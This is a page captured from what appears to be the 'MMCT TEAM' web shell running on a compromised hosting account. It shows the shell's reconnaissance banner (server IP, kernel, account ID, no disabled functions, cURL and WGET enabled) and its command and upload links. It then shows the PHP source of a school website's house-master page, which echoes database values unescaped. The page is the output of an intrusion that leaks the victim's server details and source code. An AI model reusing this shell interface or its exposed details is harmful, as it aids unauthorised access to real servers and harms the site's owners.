MMCT TEAM
1Server IP : 2a02:4780:11:1776:0:2637:29db:10  /  Your IP : 216.73.217.108
Web Server : LiteSpeed
System : Linux in-mum-web1676.main-hosting.eu 5.14.0-503.38.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 18 08:52:10 EDT 2025 x86_64
User : u641149403 ( 641149403)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0555) :  /home/u641149403/domains/mistytourandtravel.in/../emrskalsi.com/public_html/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u641149403/domains/mistytourandtravel.in/../emrskalsi.com/public_html/house-master.php
<!DOCTYPE html>
<html lang="en" style="overflow-x: hidden;">
<head>
  <meta http-equiv="content-type" content="text/html;charset=UTF-8" />
  <meta charset="UTF-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Eklavya Model Residential School - House Master</title>
    
<?php include('include/header.php'); ?>

<div class="breadcrumbs">
    <div class="container">

    <!--    <h1 class="pull-left">
    House Masters/ Mistress</h1> -->

    <ul class="pull-left breadcrumb">
        <li><a href="javascript:void(0)">Academics</a></li>
        <li><a href="javascript:void(0)">House Masters</a></li>
    </ul>
</div>
</div>

</div>

<style>.menshow{display:block !important}
.table > thead > tr > th, .table > tbody > tr > th, .table > tfoot > tr > th, .table > thead > tr > td, .table > tbody > tr > td, .table > tfoot > tr > td {
        vertical-align: middle!important;
        text-align: center;
    }
.table th,.table,td{
    text-align: center;
}
tfoot {
    background: #ff0000;
    color: #fff;
}
.assistant{
        border-bottom: 2px solid #ddd;
        padding: 15px 0;
        margin: 0;
        text-align: center!important;
        display: block!important;  
        text-transform: capitalize;
    }
    .assistant:last-child {
        border-bottom: none!important;
    }
    </style>

</div></div><div class="container" id="pr">
    <div class="row"><div class="col-xs-12 col-md-12 col-sm-12 col-lg-12" ><div class="ap-section ">
      <div class="headline" id="headlines"><h2 >HOUSE INCHARGES (<?php echo date('Y') ?>-<?php echo date('y')+1 ?>)</h2>
      </div>

      <div class="ap-plain" >    
        <div class="table-responsive">
            <table class="table table-bordered">
                <thead>

                    <tr>
                        <th>S.No.</th>
                        <th>Name of the House</th>
                        <th>House Master</th>
                        <th>Assistant House Masters</th>
                        <th>Total No. OF Boys</th>
                    </tr>
                    <tr>
                        <th colspan="3"></th>
                        <th>Co. House Master</th>
                        <th colspan="2"></th>
                    </tr>
                   
                </thead>
                    <?php
                    $grand_total=0;
                    $q = "select housemaster.*,house.house_name from housemaster left join house on house.id=housemaster.house_id";
                    $query = mysqli_query($conn,$q);
                    $i=1;
                    while($res = mysqli_fetch_array($query)) {
                    $grand_total+=$res['total_boys'];
                    $assistants=explode(',', $res['assistant']);
                    ?>
                        <tr>
                            <td><?php echo $i++; ?></td>
                            <td><?php echo $res['house_name'] ?></td>
                            <td><?php echo $res['house_master'] ?></td>
                             <td style="padding-left: 0!important;padding-right: 0!important;"><?php
                                foreach($assistants as $assistant){ ?>
                                    <p class="assistant"><?php echo $assistant; ?></p>

                                 <?php } ?></td>
                            <td><?php echo $res['total_boys'] ?></td>
                           
                        </tr>


                    </tr>
                <?php } ?>

                <tfoot>
                    <tr>
                        <th colspan="4" style="text-align:right;">GRAND TOTAL</th>
                        <th><?php echo $grand_total; ?></th>
                    </tr>
                </tfoot>
                
            </tbody>
        </table>
        <p>&nbsp;</p></div>
    </div>

</div></div></div>
</div>
<?php include('include/footer.php'); ?>

MMCT - 2023